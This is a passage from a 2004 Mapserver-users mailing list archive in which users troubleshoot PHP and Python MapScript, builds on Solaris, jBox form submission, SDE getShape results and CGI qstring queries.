Steve >>> yuth hor 2/3/2004 5:30:51 AM >>> Hi all, I have tried to generate the SVG file from mapserver, first, I use Redhat 9 + Mapserver 4.1 (nightly build (27.01.04) So, My results are: 1. It was ok with the shp file in UTM 2. It had a problem with a shp file in Lat Lon (because the SVG file that returned from Mapserver is Integer value not floating point) Here is the result SVG from Mapserver; Generated by MapServer Anyone can guide me? Thank you very much in advanced, Teerayut --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! From sgillies@frii.com Tue Feb 3 23:11:09 2004 From: sgillies@frii.com (Sean Gillies) Date: Tue, 3 Feb 2004 16:11:09 -0700 Subject: [Mapserver-users] php clone() doesn't cut it In-Reply-To: References: Message-ID: <4083E574-569E-11D8-819C-000393B98B56@frii.com> On Feb 3, 2004, at 3:20 PM, Charlton Purvis wrote: > Hi, folks: > > I finally rewrote a raster querying kludge that works well. At least, > in my opinion. But I learned the hard way that I can't count on php's > mapObj clone(). > > If you try to clone() a mapObj and save it to a new variable, > everything > will be OK *unless* you try to manipulate the layers. I could not get > something like the following sequence to work: > > (1) original mapObj's first layer is STATUS ON > (2) draw the original map (first layer is drawn) > (3) clone the original map to cloneMap > (4) set the clonMap's first layer to STATUS OFF > (5) draw the clone map (first layer is off) > (6) now draw the original map *** first layer is OFF !!! *** > > It is a PHP fault. Something along the lines of the paragraph that > begins "Want to allow . ." from > http://www.masterofweb.com/item/102/catid/10. > > So my workaround was to save my current map state to a .map, and then > create a new mapObj based on that .map. > > Just trying to save others some tears and premature graying. > > Charlton > > Charlton, As far as I know, PHP MapScript's clone() is using the code in mapcopy.c. and this is working OK for the Python MapScript: Python 2.3 (#6, Sep 14 2003, 15:46:16) [GCC 3.1 20020420 (prerelease)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> from mapscript import * >>> mapobj = mapObj('tests/test.map') >>> clone = mapobj.clone() >>> mapobj.getLayer(0) >>> clone.getLayer(0) >>> mapobj.getLayer(0).status 2 >>> clone.getLayer(0).status 2 >>> mapobj.getLayer(0).status = MS_OFF >>> mapobj.getLayer(0).status 0 >>> clone.getLayer(0).status 2 I don't understand what would be different with PHP, unless it's not using MapServer's map cloning after all. Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From scoota@supanet.com Tue Feb 3 23:14:30 2004 From: scoota@supanet.com (Keith Campbell) Date: Tue, 03 Feb 2004 23:14:30 +0000 Subject: [Mapserver-users] Too hard, too easy or too boring? Message-ID: <40202B55.5070602@supanet.com> OK, just trying to get your attention. I posted this yesterday under a different title and got no responses. Here's the problem. I'm trying to compila an install a WFS Server enabled Mapserver on a Solaris (this is proving to be a very frustrating experience, no doubt partly due to my lack of knowledge of UNIX). I think I've got all the libraries installed that I need, even though they are in non-standard locations (it's not my server). The configure script runs to completion and only seems to complain once:- checking for httpd... /export/home/local/apache2/bin/httpd awk: syntax error near line 1 awk: bailing out near line 1 awk: syntax error near line 1 awk: bailing out near line 1 /export/home/local/apache2/bin/httpd version is Apache/2.0.45 (). Not sure what this means or what the implications are. Anyway, this is what I fed into the configure:- bash$ ./configure --with-jpeg=/export/home/local/util/jpeg --with-freetype=/exp ort/home/local/util/freetype --with-zlib=/export/home/local/util/zlib --with-pn g=/export/home/local/util/libpng --with-libiconv=/export/home/local/util/libico nv --with-gd=/export/home/local/util/gd-2.0.15 --with-proj=/export/home/local/u til/proj --with-ogr=/export/home/local/util/gdal/apps/gdal-config --with-gdal= /export/home/local/util/gdal/apps/gdal-config --with-wfs --with-postgis The make process ran for some time before spitting this out:- ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd6609c9 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd660a09 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd660a69 is non-aligned ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): symbol : offset 0xfd660c29 is non-aligned collect2: ld returned 1 exit status make: *** [shp2img] Error 1 I can't find anything in the archives that points to the cause of this. Can anybody help? Thanks, Keith From stephen.clark@focus.ca Wed Feb 4 01:03:30 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Tue, 3 Feb 2004 17:03:30 -0800 Subject: [Mapserver-users] would like some help to dynamically change the size of TTF fonts using php mapscript References: <4083E574-569E-11D8-819C-000393B98B56@frii.com> Message-ID: <021801c3eaba$b485f380$6c000a0a@sclark> This is a multi-part message in MIME format. ------=_NextPart_000_0215_01C3EA77.A62BC500 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, Below is a piece of code that I am working on to change the size of = labels. The label size does not change using either condition: 1. $new_label_size =3D $label_size * 2; or 2. $new_label_size =3D 40; Is there some function I am missing like a set(...) function ?? if (some condition) { print " The layer is : $layer->name
"; $class =3D $layer->getClass(0); $label_size =3D $class->label->size; print " The old label size is : $label_size
"; //$new_label_size =3D $label_size * 2; $new_label_size =3D 40; $class->label->size =3D $new_label_size; print " The new label size is : $new_label_size
"; } The layer : LAYER NAME "my_text" STATUS OFF DATA "d:/layer/TEXT_text" TYPE ANNOTATION LABELITEM "TEXTSTRING" CLASS COLOR 255 255 0 LABEL MINFEATURESIZE 40 MINDISTANCE 150 POSITION CC COLOR 255 255 0 FONT arial TYPE truetype SIZE 10 FORCE TRUE END END METADATA WMS_TITLE "Miscellaneous Text" WMS_ABSTRACT "N/A" WMS_SRS "EPSG:26910" END END thanks Stephen ------=_NextPart_000_0215_01C3EA77.A62BC500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
Below is a piece of code that I am = working on to=20 change the size of labels.  The label size does not change using = either=20 condition:
 
1. $new_label_size =3D $label_size * = 2;
 
or
 
2.    $new_label_size = =3D=20 40;
 
Is there some function I am missing = like a set(...)=20 function ??
 
 
 

if (some condition)

{

    print " <i> The = layer is :=20 $layer->name </i> <br>";

    $class =3D=20 $layer->getClass(0);

    $label_size =3D=20 $class->label->size;

    print " <i> The = old label=20 size is : $label_size </i> <br>";

    //$new_label_size =3D = $label_size *=20 2;

    $new_label_size =3D = 40;

    = $class->label->size =3D=20 $new_label_size;

    print " <i> The = new label=20 size is : $new_label_size </i> <br>";

}

 

The layer :

 

LAYER
  NAME = "my_text"

  STATUS=20 OFF
  DATA "d:/layer/TEXT_text"
  TYPE = ANNOTATION
 =20 LABELITEM "TEXTSTRING"
  CLASS
    COLOR 255 = 255=20 0
    LABEL
      = MINFEATURESIZE=20 40
      MINDISTANCE=20 150
      POSITION=20 CC
      COLOR 255 255 0

      FONT=20 arial
      TYPE=20 truetype
      SIZE=20 10
      FORCE TRUE
   =20 END
  END

  METADATA
    = WMS_TITLE=20 "Miscellaneous Text"
    WMS_ABSTRACT=20 "N/A"
    WMS_SRS "EPSG:26910"
  = END


END

 

thanks
Stephen

 

------=_NextPart_000_0215_01C3EA77.A62BC500-- From nacional@cbs.umn.edu Wed Feb 4 00:07:01 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Tue, 3 Feb 2004 18:07:01 -0600 (CST) Subject: [Mapserver-users] Too hard, too easy or too boring? In-Reply-To: <40202B55.5070602@supanet.com> References: <40202B55.5070602@supanet.com> Message-ID: I'm not a Solaris user but you might need additional FLAGS/LIBS to get MapServer to work on that platform. Look at XTRALIBS in your Makefile and make sure "-lm -lstdc++" are there. Perhaps it will work with other, comparable libs. Just guessing. -Perry On Tue, 3 Feb 2004, Keith Campbell wrote: > OK, just trying to get your attention. I posted this yesterday under a > different title and got no responses. > > Here's the problem. I'm trying to compila an install a WFS Server > enabled Mapserver on a Solaris (this is proving to be a very frustrating > experience, no doubt partly due to my lack of knowledge of UNIX). I > think I've got all the libraries installed that I need, even though they > are in non-standard locations (it's not my server). The configure script > runs to completion and only seems to complain once:- > > checking for httpd... /export/home/local/apache2/bin/httpd > awk: syntax error near line 1 > awk: bailing out near line 1 > awk: syntax error near line 1 > awk: bailing out near line 1 > /export/home/local/apache2/bin/httpd version is Apache/2.0.45 (). > > Not sure what this means or what the implications are. > > Anyway, this is what I fed into the configure:- > > bash$ ./configure --with-jpeg=/export/home/local/util/jpeg > --with-freetype=/exp > ort/home/local/util/freetype --with-zlib=/export/home/local/util/zlib > --with-pn > g=/export/home/local/util/libpng > --with-libiconv=/export/home/local/util/libico > nv --with-gd=/export/home/local/util/gd-2.0.15 > --with-proj=/export/home/local/u > til/proj --with-ogr=/export/home/local/util/gdal/apps/gdal-config > --with-gdal= > /export/home/local/util/gdal/apps/gdal-config --with-wfs --with-postgis > > The make process ran for some time before spitting this out:- > > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd6609c9 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660a09 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660a69 is non-aligned > ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): > symbol own>: offset 0xfd660c29 is non-aligned > collect2: ld returned 1 exit status > make: *** [shp2img] Error 1 > > I can't find anything in the archives that points to the cause of this. > Can anybody help? > > Thanks, > > Keith > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From pramsey@refractions.net Wed Feb 4 01:12:17 2004 From: pramsey@refractions.net (Paul Ramsey) Date: Tue, 03 Feb 2004 17:12:17 -0800 Subject: [Mapserver-users] Too hard, too easy or too boring? In-Reply-To: Message-ID: <2CB3E50E-56AF-11D8-A555-000393D33C2E@refractions.net> More likely there really is an alignment error in the mapserver code. It is moderately easy to get them if you are not used to writing portable code and are only testing on Linux/x86. As we have found, since everyone except Dave has added one to PostGIS at one point or another (and Dave is only good because he did all the initial development on Solaris). If Steve or the folks from DM would like access to a Solaris box for testing, I can arrange one. Paul On Tuesday, February 3, 2004, at 04:07 PM, Pericles Nacionales wrote: > > I'm not a Solaris user but you might need additional FLAGS/LIBS to get > MapServer to work on that platform. Look at XTRALIBS in your Makefile > and > make sure "-lm -lstdc++" are there. Perhaps it will work with other, > comparable libs. > > Just guessing. > > -Perry > > On Tue, 3 Feb 2004, Keith Campbell wrote: > >> OK, just trying to get your attention. I posted this yesterday under a >> different title and got no responses. >> >> Here's the problem. I'm trying to compila an install a WFS Server >> enabled Mapserver on a Solaris (this is proving to be a very >> frustrating >> experience, no doubt partly due to my lack of knowledge of UNIX). I >> think I've got all the libraries installed that I need, even though >> they >> are in non-standard locations (it's not my server). The configure >> script >> runs to completion and only seems to complain once:- >> >> checking for httpd... /export/home/local/apache2/bin/httpd >> awk: syntax error near line 1 >> awk: bailing out near line 1 >> awk: syntax error near line 1 >> awk: bailing out near line 1 >> /export/home/local/apache2/bin/httpd version is Apache/2.0.45 >> (). >> >> Not sure what this means or what the implications are. >> >> Anyway, this is what I fed into the configure:- >> >> bash$ ./configure --with-jpeg=/export/home/local/util/jpeg >> --with-freetype=/exp >> ort/home/local/util/freetype --with-zlib=/export/home/local/util/zlib >> --with-pn >> g=/export/home/local/util/libpng >> --with-libiconv=/export/home/local/util/libico >> nv --with-gd=/export/home/local/util/gd-2.0.15 >> --with-proj=/export/home/local/u >> til/proj --with-ogr=/export/home/local/util/gdal/apps/gdal-config >> --with-gdal= >> /export/home/local/util/gdal/apps/gdal-config --with-wfs >> --with-postgis >> >> The make process ran for some time before spitting this out:- >> >> ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): >> symbol > own>: offset 0xfd6609c9 is non-aligned >> ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): >> symbol > own>: offset 0xfd660a09 is non-aligned >> ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): >> symbol > own>: offset 0xfd660a69 is non-aligned >> ld: fatal: relocation error: R_SPARC_32: file ./libmap.a(mapogr.o): >> symbol > own>: offset 0xfd660c29 is non-aligned >> collect2: ld returned 1 exit status >> make: *** [shp2img] Error 1 >> >> I can't find anything in the archives that points to the cause of >> this. >> Can anybody help? >> >> Thanks, >> >> Keith >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users@lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Paul Ramsey Refractions Research Email: pramsey@refractions.net Phone: (250) 885-0632 From woodbri@swoodbridge.com Wed Feb 4 01:32:58 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Tue, 03 Feb 2004 20:32:58 -0500 Subject: [Mapserver-users] would like some help to dynamically change the size of TTF fonts using php mapscript In-Reply-To: <021801c3eaba$b485f380$6c000a0a@sclark> Message-ID: <4020057A.25803.66C157F@localhost> Try $class->label->set("size", $new_label_size); -Steve On 3 Feb 2004 at 17:03, Stephen Clark wrote: > Hi all, > > Below is a piece of code that I am working on to change the size of labels. The label size does not change using either condition: > > 1. $new_label_size = $label_size * 2; > > or > > 2. $new_label_size = 40; > > Is there some function I am missing like a set(...) function ?? > > > > if (some condition) > > { > > print " The layer is : $layer->name
"; > > $class = $layer->getClass(0); > > $label_size = $class->label->size; > > print " The old label size is : $label_size
"; > > //$new_label_size = $label_size * 2; > > $new_label_size = 40; > > $class->label->size = $new_label_size; > > print " The new label size is : $new_label_size
"; > > } > > > > The layer : > > > > LAYER > NAME "my_text" > > STATUS OFF > DATA "d:/layer/TEXT_text" > TYPE ANNOTATION > LABELITEM "TEXTSTRING" > CLASS > COLOR 255 255 0 > LABEL > MINFEATURESIZE 40 > MINDISTANCE 150 > POSITION CC > COLOR 255 255 0 > > FONT arial > TYPE truetype > SIZE 10 > FORCE TRUE > END > END > > METADATA > WMS_TITLE "Miscellaneous Text" > WMS_ABSTRACT "N/A" > WMS_SRS "EPSG:26910" > END > > > END > > > > thanks > Stephen > > From ms57@streamyx.com Wed Feb 4 02:35:49 2004 From: ms57@streamyx.com (Steve McCrone) Date: Wed, 04 Feb 2004 10:35:49 +0800 Subject: [Mapserver-users] jBox - form not submitting?? Message-ID: <001301c3eac7$a31af430$ba855fdb@steve> Hello, I did ask this question a few days ago, but it has caused another problem. I am using the jBox applet. Here's what I've got - function setbox_handler(name, minx, miny, maxx, maxy, redraw) { document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + maxy; document.mapserv.imgxy.value = minx + " " + miny; document.mapserv.submit(); } function preSubmit(){ ... } The setbox_handler function gets called when a "tool" is used, and therefore, the document appears to be submitted. However, the preSubmit() function does not get called. It only gets called when the user does a "refresh" (i.e.) Can't figure out why the document.mapserv.submit(); statement will not actually submit the form in order to have my preSubmit() function called - strange. Thanks From emiliom@u.washington.edu Wed Feb 4 03:40:52 2004 From: emiliom@u.washington.edu (Emilio Mayorga) Date: Tue, 03 Feb 2004 19:40:52 -0800 Subject: [Mapserver-users] Re: Setting scale of map while using dbox In-Reply-To: <20040203180006.5320.82356.Mailman@lists.gis.umn.edu> References: <20040203180006.5320.82356.Mailman@lists.gis.umn.edu> Message-ID: <402069C4.60602@u.washington.edu> Jason, I have a dbox application where the functionality you mention is working just fine. It's borrowed from a couple of other applications, of course... Anyways, here's the gist: ** Here's the FORM element:   ** Which calls the change_scale function on submit: function change_scale() { var x = (ms.extent[0] + ms.extent[2])/2.0; var y = (ms.extent[1] + ms.extent[3])/2.0; ms.zoomscale(x, y, document.scaleform.scale.value); return false; } Don't ask me to explain or justify every bit of code; in some cases I've forgotten, in other cases I simply never bothered to learn why things were the way they were in the code I borrowed. Good luck. -Emilio ------------------ I was wondering if anyone might be able to tell me how to go about sumbitting a fixed scale (ie: typed in by user) to mapserver when using the dbox stuff. Below is an idea of how to get the scale set but I do not see where "scale" is used in the mapserv.js file. I know a parameter can be passed directly to mapserv cgi and I also noticed functions such as "function Mapserv_setextentfromscale(x, y, scale)" but I dont see where I get my coordinates from (ie: mapx, mapy if just using regular html). I just have a refresh button at the moment to press once the scale is set. Scale=> 1: Would the right was to do this be to call the above function directly with the x, y and scale? From rich@greenwoodmap.com Wed Feb 4 03:44:52 2004 From: rich@greenwoodmap.com (Richard Greenwood) Date: Tue, 03 Feb 2004 20:44:52 -0700 Subject: [Mapserver-users] Re: onSubmit - jBox In-Reply-To: <000c01c3eacb$8a49aa10$ee865fdb@steve> References: <001301c3e49e$51067810$11395edb@steve> <4016806E.8080008@greenwoodmap.com> <001201c3e54d$6e083520$c32d5fdb@steve> <40172E80.7010109@greenwoodmap.com> <000801c3e553$68520d80$993d5edb@steve> <4017379A.8080607@greenwoodmap.com> <000c01c3eacb$8a49aa10$ee865fdb@steve> Message-ID: <40206AB4.7090502@greenwoodmap.com> Steve McCrone wrote: > Hello Richard, > > I have just posted this question, but thought I would also ask you since you > have done simiar to what I am trying to do > Here's what I've got - > > function setbox_handler(name, minx, miny, maxx, maxy, redraw) { > document.mapserv.imgbox.value = minx + " " + miny + " " + maxx + " " + > maxy; > document.mapserv.imgxy.value = minx + " " + miny; > document.mapserv.submit(); > } > > function preSubmit(){ > ... > } > >
> > The setbox_handler function gets called when a "tool" is used, and > therefore, the document appears to be submitted. However, the preSubmit() > function does not get called. It only gets called when the user does a > "refresh" (i.e.) > > Can't figure out why the document.mapserv.submit(); statement will not > actually submit the form in order to have my preSubmit() function called - > strange. I think this is a peculiarity of Javascript. The Javascript submit() function simply submits the form "directly", it does not look at, or process any of the attributes in the tag. So to process the preSubmit() function in setbox_handler() you need: if (preSubmit()) { document.mapserv.submit(); } assuming your preSubmit() function returns a boolean value, or if not simply : preSubmit(); document.mapserv.submit(); Rich -- Richard Greenwood www.greenwoodmap.com From Robin.Ellis@nrm.qld.gov.au Wed Feb 4 04:45:22 2004 From: Robin.Ellis@nrm.qld.gov.au (Ellis Robin (Bundaberg)) Date: Wed, 4 Feb 2004 14:45:22 +1000 Subject: [Mapserver-users] getShape() with SDE and PostGIS Message-ID: I'm using PHP mapscript with version 3.6.3 of Mapserver. Using the following mapscript I can successfully return the extent of a polygon from a PostGIS layer, however I can't repeat the success with a similar SDE layer. $zoomdcdblayer->queryByAttributes(MS_MULTIPLE); $thenum_results = $zoomdcdblayer->getNumResults(); for ($i=0;$i < $thenum_results; $i++) { $result = $zoomdcdblayer->getResult($i); $zoomdcdblayer->open("test"); $rvshape = $zoomdcdblayer->getShape($result->{tileindex}, $result->{shapeindex}); $shpbnd = $rvshape->bounds; print_r($shpbnd); $zoomdcdblayer->close(); } >From my PostGIS layer I get this 'shpbnd' output: rect Object ( [_handle_] => Resource id #23 [minx] => 152.226563 [miny] => -25.004187 [maxx] => 152.234491 [maxy] => -24.997927 ) But from my SDE layer I get this: rect Object ( [_handle_] => Resource id #18 [minx] => -1 [miny] => -1 [maxx] => -1 [maxy] => -1 ) The relevant part of my mapfile looks like this: Postgis Layer CONNECTIONTYPE postgis CONNECTION "user=username password=xxxxxxxx dbname=veg" DATA "geo_value from sedcdb" SDE Layer CONNECTION "sdeserver,instance,database,username,xxxxxxxx" CONNECTIONTYPE sde DATA "SDEAPP.DCDB,SHAPE" Does anyone know if getShape is unlikely to work with SDE, or if there is something I need to do to get the correct result? Thanks Rob Robin Ellis Department of Natural Resources and Mines PO Box 1167 Bundaberg QLD 4670 ph +61 7 4131 5771 fax +61 7 4131 5823 Robin.Ellis@nrm.qld.gov.au ************************************************************************ The information in this e-mail together with any attachments is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any form of review, disclosure, modification, distribution and/or publication of this e-mail message is prohibited. If you have received this message in error, you are asked to inform the sender as quickly as possible and delete this message and any copies of this message from your computer and/or your computer system network. ************************************************************************ From boily@bsw.org Wed Feb 4 07:58:54 2004 From: boily@bsw.org (Roger Boily) Date: Wed, 04 Feb 2004 08:58:54 +0100 Subject: [Mapserver-users] Querying on multiple fields In-Reply-To: References: Message-ID: <4020A63E.9070805@bsw.org> This is a multi-part message in MIME format. --------------090503090003060205050000 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Stephen, Thanks for answering. Yes, I've escaped the spaces with %20 and tried to escape ' with %27 too. No way to make it run. I had it working for one year with MapServer 3.6 (both Linux and Win) and it works fine also with the qstring modifications on MapServer 4.0 for Windows, but I can't figure out where is the problem with Linux (tested on two servers). Even the simple &qstring=('[PART_N]' IN '556') does not work. It works fine with &qitem=PART_N&qstring=556 . To help you in helping me :-), I have made an example on my local testing server: The first url works properly and the second one fails. http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=10 http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qstring=('[FOGLIO_N]'%20IN%20'10') I attach also the map file. I need the second one to work because I have to query two fields at once. ex: FOGLIO_N = 10 AND PART_N = 254 Thanks in advance, Roger ---------------------------- MAP FILE: urbis.map ---------------------------- NAME urbis STATUS ON SIZE 650 400 EXTENT 475.66 2404.5 5974.34 6239.61 UNITS meters SHAPEPATH "data" IMAGETYPE PNG IMAGECOLOR 153 153 153 TRANSPARENT ON FONTSET "/var/www/html/sittel/procida/font/fonts.txt" WEB TEMPLATE header_1024.html IMAGEPATH '/var/www/html/tmp/' IMAGEURL '/tmp/' MINSCALE 100 END #WEB QUERYMAP STATUS ON STYLE HILITE COLOR 255 255 0 # highlight color is yellow END ###### LAYER C A T A S T O ########### LAYER NAME 'catasto' TYPE Polygon STATUS ON DATA 'lotti' # TEMPLATE index_basso.phtml LABELITEM 'PART_N' MAXSCALE 25000 CLASS Name 'catasto' LABEL TYPE TRUETYPE FONT time BUFFER 3 COLOR 255 0 0 POSITION CC SIZE 8 END OUTLINECOLOR 100 255 000 END # CLASS END # LAYER ###### LAYER F O G L I ######## LAYER NAME "fogli" TYPE Polygon STATUS ON DATA "fogli" LABELITEM 'FOGLIO_N' TEMPLATE header_1024.html CLASS Name 'foglio' TEXT (Foglio [FOGLIO_N]) LABEL TYPE TRUETYPE FONT time BUFFER 1 COLOR 0 0 0 POSITION auto SIZE 10 END OUTLINECOLOR 255 255 255 END # CLASS END # LAYER fogli END ---------------------------------- End of map file ---------------------------------- Steve Lime wrote: >Are you escaping the value ('[PART_N]' IN '556,557' AND '[ID_N]' IN >'24') properly? Spaces aren't allowed and should be replaced with either >a + or a %20. We should still track down the source of the error though, >error 500's are never good. > >Steve > > >Stephen Lime >Data & Applications Manager > >Minnesota DNR >500 Lafayette Road >St. Paul, MN 55155 >651-297-2937 > > > >>>>Roger Boily 2/3/2004 6:33:11 AM >>> >>>> >>>> >Hi, > >On a cgi url I've tried to query on multiple fields with this: >NB: for easy reading space and " are normals but I used %20(space) and > >%27(') >&qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24') >it works perfectly on windows Mapserver 4.0.1 > >But I receive error 500 from Apache on linux: (Premature end of script > >headers: mapserv) >&qitem=PART_N&qstring=556 works fine on linux >but I receive the same error with: >&qstring=('[PART_N]' IN '556') > >Is there anyone who has any idea? > >Is there a way to make multiple fileds query with qitem and qstring? > >Thanks a lot > >Roger > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users@lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > --------------090503090003060205050000 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Stephen,
Thanks for answering. Yes, I've escaped the spaces with %20 and tried to escape ' with %27 too.
No way to make it run. I had it working for one year with MapServer 3.6 (both Linux and Win) and it works
fine also with the qstring modifications on MapServer 4.0 for Windows, but I can't figure out where is
the problem with Linux (tested on two servers). Even the simple &qstring=('[PART_N]' IN '556') does not
work. It works fine with &qitem=PART_N&qstring=556 .
To help you in helping me :-), I have made an example on my local testing server:
The first url works properly and the second one fails.
http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=10
http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qstring=('[FOGLIO_N]'%20IN%20'10')
I attach also the map file.
I need the second one to work because I have to query two fields at once.
ex: FOGLIO_N = 10 AND PART_N = 254

Thanks in advance, Roger

----------------------------
MAP FILE: urbis.map
----------------------------
NAME urbis
STATUS ON
SIZE 650 400
EXTENT 475.66 2404.5 5974.34 6239.61
UNITS meters
SHAPEPATH "data"
IMAGETYPE PNG
IMAGECOLOR 153 153 153
TRANSPARENT ON
FONTSET "/var/www/html/sittel/procida/font/fonts.txt"

WEB
  TEMPLATE header_1024.html
  IMAGEPATH '/var/www/html/tmp/'
  IMAGEURL '/tmp/'
  MINSCALE 100
END  #WEB

QUERYMAP
  STATUS ON
  STYLE HILITE
  COLOR 255 255 0  # highlight color is yellow
END

###### LAYER C A T A S T O ###########
LAYER
  NAME 'catasto'
  TYPE Polygon
  STATUS ON
  DATA 'lotti'
#  TEMPLATE index_basso.phtml
  LABELITEM 'PART_N'
  MAXSCALE 25000
  CLASS
    Name 'catasto'
    LABEL
      TYPE TRUETYPE
      FONT time
      BUFFER 3
      COLOR 255 0 0
      POSITION CC
      SIZE 8
    END
    OUTLINECOLOR 100 255 000
  END  # CLASS
END  # LAYER

######  LAYER   F O G L I  ########
LAYER
  NAME "fogli"
  TYPE Polygon
  STATUS ON
  DATA "fogli"
  LABELITEM 'FOGLIO_N'
  TEMPLATE header_1024.html
  CLASS
    Name 'foglio'
    TEXT (Foglio [FOGLIO_N])
    LABEL
      TYPE TRUETYPE
      FONT time
      BUFFER 1
      COLOR 0 0 0
      POSITION auto
      SIZE 10
    END
    OUTLINECOLOR 255 255 255
  END  # CLASS
END  # LAYER fogli

END
----------------------------------
End of map file
----------------------------------

Steve Lime wrote:
Are you escaping the value ('[PART_N]' IN '556,557' AND '[ID_N]' IN
'24') properly? Spaces aren't allowed and should be replaced with either
a + or a %20. We should still track down the source of the error though,
error 500's are never good.

Steve


Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

  
Roger Boily <boily@bsw.org> 2/3/2004 6:33:11 AM >>>
        
Hi,

On a cgi url I've tried to query on multiple fields with this:
NB: for easy reading space and " are normals but I used %20(space) and

%27(')
&qstring=('[PART_N]' IN '556,557' AND '[ID_N]' IN '24')
it works perfectly on windows Mapserver 4.0.1

But I receive error 500 from Apache on linux: (Premature end of script

headers: mapserv)
&qitem=PART_N&qstring=556 works fine on linux
but I receive the same error with:
&qstring=('[PART_N]' IN '556')

Is there anyone who has any idea?

Is there a way to make multiple fileds query with qitem and qstring?

Thanks a lot

Roger


_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--------------090503090003060205050000-- From boily@bsw.org Wed Feb 4 08:33:06 2004 From: boily@bsw.org (Roger Boily) Date: Wed, 04 Feb 2004 09:33:06 +0100 Subject: [Mapserver-users] Querying on multiple fields In-Reply-To: <4020A63E.9070805@bsw.org> References: <4020A63E.9070805@bsw.org> Message-ID: <4020AE42.8090108@bsw.org> This is a multi-part message in MIME format. --------------030003020204010206030007 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi to all, after hundred of tests, I've found the hic.. When using the qstring argument in the format <'[FIELD]'=value>, on MapServer running on Windows, you do not need to add the qitem argument (as read somewhere...), but you need it on a Linux machine.... So the failing link will become: http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=('[FOGLIO_N]'%20IN%20'10') Thanks to all Roger Roger Boily wrote: > Hi Stephen, > Thanks for answering. Yes, I've escaped the spaces with %20 and tried > to escape ' with %27 too. > No way to make it run. I had it working for one year with MapServer > 3.6 (both Linux and Win) and it works > fine also with the qstring modifications on MapServer 4.0 for Windows, > but I can't figure out where is > the problem with Linux (tested on two servers). Even the simple > &qstring=('[PART_N]' IN '556') does not > work. It works fine with &qitem=PART_N&qstring=556 . > To help you in helping me :-), I have made an example on my local > testing server: > The first url works properly and the second one fails. > http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qitem=FOGLIO_N&qstring=10 > http://213.45.107.14/cgi-bin/mapserv?&map=/var/www/html/sittel/procida/urbis.map&layer=fogli&mapext=shapes&mode=itemnquery&qlayer=fogli&qstring=([FOGLIO_N]'%20IN%20'10') > I attach also the map file. > I need the second one to work because I have to query two fields at once. > ex: FOGLIO_N = 10 AND PART_N = 254 > > Thanks in advance, Roger > > ---------------------------- > MAP FILE: urbis.map > ---------------------------- > NAME urbis > STATUS ON > SIZE 650 400 > EXTENT 475.66 2404.5 5974.34 6239.61 > UNITS meters > SHAPEPATH "data" > IMAGETYPE PNG > IMAGECOLOR 153 153 153 > TRANSPARENT ON > FONTSET "/var/www/html/sittel/procida/font/fonts.txt" > > WEB > TEMPLATE header_1024.html > IMAGEPATH '/var/www/html/tmp/' > IMAGEURL '/tmp/' > MINSCALE 100 > END #WEB > > QUERYMAP > STATUS ON > STYLE HILITE > COLOR 255 255 0 # highlight color is yellow > END > > ###### LAYER C A T A S T O ########### > 